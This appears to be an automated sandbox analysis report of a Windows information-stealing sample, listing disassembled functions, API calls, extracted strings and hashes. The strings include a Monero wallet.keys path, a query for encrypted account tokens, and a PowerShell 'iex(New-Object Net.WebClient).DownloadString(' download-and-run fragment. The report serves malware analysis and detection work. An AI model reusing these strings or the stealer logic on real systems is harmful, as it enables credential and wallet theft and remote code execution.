Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID: Xh$h
API String ID: 690832082-4013920764
Opcode ID: 8e5724b9a3a92b3b70c74f404faadb26d5ed79c7ab0d9c22129ea352ac97bce1
Instruction ID: 9fc0f71aadc5f80108fc8e163d493737372d1cc429cd58e1a96039e09c321fb2
Opcode Fuzzy Hash: 8e5724b9a3a92b3b70c74f404faadb26d5ed79c7ab0d9c22129ea352ac97bce1
Instruction Fuzzy Hash: 8441ABB7D00108ABDB14FBA0DD46FFE737DAB98300F408658B65957181EE755B888BD2

Function 00A88100 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0068EEB0,00000000,?,00A90E2C,00000000,?,00000000), ref: 00A88130
RtlAllocateHeap.NTDLL(00000000), ref: 00A88137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A88158
wsprintfA.USER32 ref: 00A881AC

Strings

@, xrefs: 00A8814D
%d MB, xrefs: 00A881A3
ph, xrefs: 00A8819B, 00A8819E

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@$ph
API String ID: 2922868504-2567548595
Opcode ID: 5ba146414facbb0781a302b9753f325e5992c21733d2885cb381edfd937d538d
Instruction ID: 5b575b7155494887bd417db0d68d1f7f0b8f576cdcda3d8e3c6b759711e11496
Opcode Fuzzy Hash: 5ba146414facbb0781a302b9753f325e5992c21733d2885cb381edfd937d538d
Instruction Fuzzy Hash: 85212EB1E44218ABDB04DFD4CD49FAEB7B8FB44B50F104609F605BB2C0DB7959018BA5

Function 00A7BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

lstrlen.KERNEL32(00000000), ref: 00A7BC9F

Part of subcall function 00A88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A88E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00A7BCCD
lstrlen.KERNEL32(00000000), ref: 00A7BDA5
lstrlen.KERNEL32(00000000), ref: 00A7BDB9

Strings

AccountTokens, xrefs: 00A7BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00A7BBEB
AccountId, xrefs: 00A7BCC4
AccountTokens, xrefs: 00A7BABA

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 359e9226f4986e792b2540028f318bb7599d138a4f4a1984cd2e7b33d6bfd71e
Instruction ID: 471ba249c29f816b4fa7e347670991f3f7306cdf11952b8312e9b7e870874bc3
Opcode Fuzzy Hash: 359e9226f4986e792b2540028f318bb7599d138a4f4a1984cd2e7b33d6bfd71e
Instruction Fuzzy Hash: AFB10471D10118ABEF14FBA0DE96EEE7378AF64300F404559F506B6191EF386A49CB72

Function 00A86770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00A86774
ExitProcess.KERNEL32 ref: 00A867A5
ExitProcess.KERNEL32 ref: 00A867AF
ExitProcess.KERNEL32 ref: 00A867B9
ExitProcess.KERNEL32 ref: 00A867C3
ExitProcess.KERNEL32 ref: 00A867CD

Strings

*, xrefs: 00A8678C

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f1dba84060a38136ae16f157be4da283c58ed4b18fb2a0d70b23b6a6b13a4895
Instruction ID: af32eda9b01d1a9f8ca9f316a60cf5c96710c9eaef20048a25089b245a079fb4
Opcode Fuzzy Hash: f1dba84060a38136ae16f157be4da283c58ed4b18fb2a0d70b23b6a6b13a4895
Instruction Fuzzy Hash: F9F05E30908249FFEB44AFE0E90972C7B70FB08703F040298F68996290DA724B41DBD6

Function 00A84780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0068EA78), ref: 00A847DB

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

lstrcat.KERNEL32(?,00000000), ref: 00A84801
lstrcat.KERNEL32(?,?), ref: 00A84820
lstrcat.KERNEL32(?,?), ref: 00A84834
lstrcat.KERNEL32(?,0067A5F0), ref: 00A84847
lstrcat.KERNEL32(?,?), ref: 00A8485B
lstrcat.KERNEL32(?,0068DB60), ref: 00A8486F

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A88D90: GetFileAttributesA.KERNEL32(00000000,?,00A71B54,?,?,00A9564C,?,?,00A90E1F), ref: 00A88D9F

Part of subcall function 00A84570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A84580
Part of subcall function 00A84570: RtlAllocateHeap.NTDLL(00000000), ref: 00A84587
Part of subcall function 00A84570: wsprintfA.USER32 ref: 00A845A6
Part of subcall function 00A84570: FindFirstFileA.KERNEL32(?,?), ref: 00A845BD

Strings

xh, xrefs: 00A847CD

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: xh
API String ID: 2540262943-1570541007
Opcode ID: 6931e55c6e9ceaa7edd183a66206b6cf066d81461d28c3b0d33c7987bacf650f
Instruction ID: af309eeab82a118091180a235d6bbe6947a5e42a67875a37a90fa8169555be44
Opcode Fuzzy Hash: 6931e55c6e9ceaa7edd183a66206b6cf066d81461d28c3b0d33c7987bacf650f
Instruction Fuzzy Hash: 563152B2900218A7CB14FBB0DD85FED737CBB58700F404599F35996091EE749789CB96

Function 00A74FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A74FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00A74FD1
InternetOpenA.WININET(00A90DDF,00000000,00000000,00000000,00000000), ref: 00A74FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00A75011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00A75041
InternetCloseHandle.WININET(?), ref: 00A750B9
InternetCloseHandle.WININET(?), ref: 00A750C6

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 14e211366479b25bf7aa43caba5b19b92baf17f141e3617b4edf2095103e0d2b
Instruction ID: 3ade97bc957d60414a871278cc91e9ca2be8df9538ae38ee8f74acbd8bd42cfd
Opcode Fuzzy Hash: 14e211366479b25bf7aa43caba5b19b92baf17f141e3617b4edf2095103e0d2b
Instruction Fuzzy Hash: 2B31F8B4A40218ABDB20CF64DD85BDDB7B4FB48704F1081D9E609A7281DBB06EC58F99

Function 00A883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A88426
wsprintfA.USER32 ref: 00A88459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00A8847B
RegCloseKey.ADVAPI32(00000000), ref: 00A8848C
RegCloseKey.ADVAPI32(00000000), ref: 00A88499

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

RegQueryValueExA.ADVAPI32(00000000,0068EE68,00000000,000F003F,?,00000400), ref: 00A884EC
lstrlen.KERNEL32(?), ref: 00A88501
RegQueryValueExA.ADVAPI32(00000000,0068EF28,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00A90B34), ref: 00A88599
RegCloseKey.ADVAPI32(00000000), ref: 00A88608
RegCloseKey.ADVAPI32(00000000), ref: 00A8861A

Strings

%s\%s, xrefs: 00A8844D

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 65c364a5a266ddbeed14baf307567549416e603c40a49b54b7dd9d2289447557
Instruction ID: f8808d0b14432e0b83b21d8ba1d6b718ef5de10a82f225ada4b417de64aab6e3
Opcode Fuzzy Hash: 65c364a5a266ddbeed14baf307567549416e603c40a49b54b7dd9d2289447557
Instruction Fuzzy Hash: 4921EB71910218AFDB24DB54DC85FE9B3B8FB48700F40C5D9E649A6180DF756A85CFD4

Function 00A87690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A876A4
RtlAllocateHeap.NTDLL(00000000), ref: 00A876AB
RegOpenKeyExA.ADVAPI32(80000002,0067BBB0,00000000,00020119,00000000), ref: 00A876DD
RegQueryValueExA.ADVAPI32(00000000,0068EFB8,00000000,00000000,?,000000FF), ref: 00A876FE
RegCloseKey.ADVAPI32(00000000), ref: 00A87708

Strings

Windows 11, xrefs: 00A876BD

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 788062a3d18a274a532bfaf1eee1e3cd90bfdbacae3b7b2d555407b8ee65b68e
Instruction ID: d1808afa7084983e24e66fd96486c97e4b63c21d013af17b03d82034f6a759f9
Opcode Fuzzy Hash: 788062a3d18a274a532bfaf1eee1e3cd90bfdbacae3b7b2d555407b8ee65b68e
Instruction Fuzzy Hash: A0016DB5A04308BFEB00EBE4DD49FAEB7B8EB48701F104694FA45E7291EA719900CB51

Function 00A87720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87734
RtlAllocateHeap.NTDLL(00000000), ref: 00A8773B
RegOpenKeyExA.ADVAPI32(80000002,0067BBB0,00000000,00020119,00A876B9), ref: 00A8775B
RegQueryValueExA.ADVAPI32(00A876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00A8777A
RegCloseKey.ADVAPI32(00A876B9), ref: 00A87784

Strings

CurrentBuildNumber, xrefs: 00A87771

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: f91eaab309f3bf5fca5e6de95c3d1ee666fa91ec22c20b421613f3bb63518a97
Instruction ID: 7722c4ef62458a508b50040e58bfe4f533234ccd8473b8c0f7e53fdb55187591
Opcode Fuzzy Hash: f91eaab309f3bf5fca5e6de95c3d1ee666fa91ec22c20b421613f3bb63518a97
Instruction Fuzzy Hash: 830117B5A40308BFDB00DBE4DC49FAEB7B8EB44705F104555FA45A7291DA759900CB91

Function 00A799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
LocalFree.KERNEL32(00A7148F), ref: 00A79A90
CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: fc2c31070f0153c8975251e535d120853064c7e0b3a9e29e22f3ac5d373e82f6
Instruction ID: 9a3088d0f97e5a2aee19dca482f4660c792e168d815a17bff7796672869a3af3
Opcode Fuzzy Hash: fc2c31070f0153c8975251e535d120853064c7e0b3a9e29e22f3ac5d373e82f6
Instruction Fuzzy Hash: 4F3129B4A00209EFDB14CFA4CD85BAF77B5FF48351F108159E905A7290D779AA42CFA1

Function 00A82C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

ShellExecuteEx.SHELL32(0000003C), ref: 00A82D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00A82CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00A82D04
')", xrefs: 00A82CB3
<, xrefs: 00A82D39

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
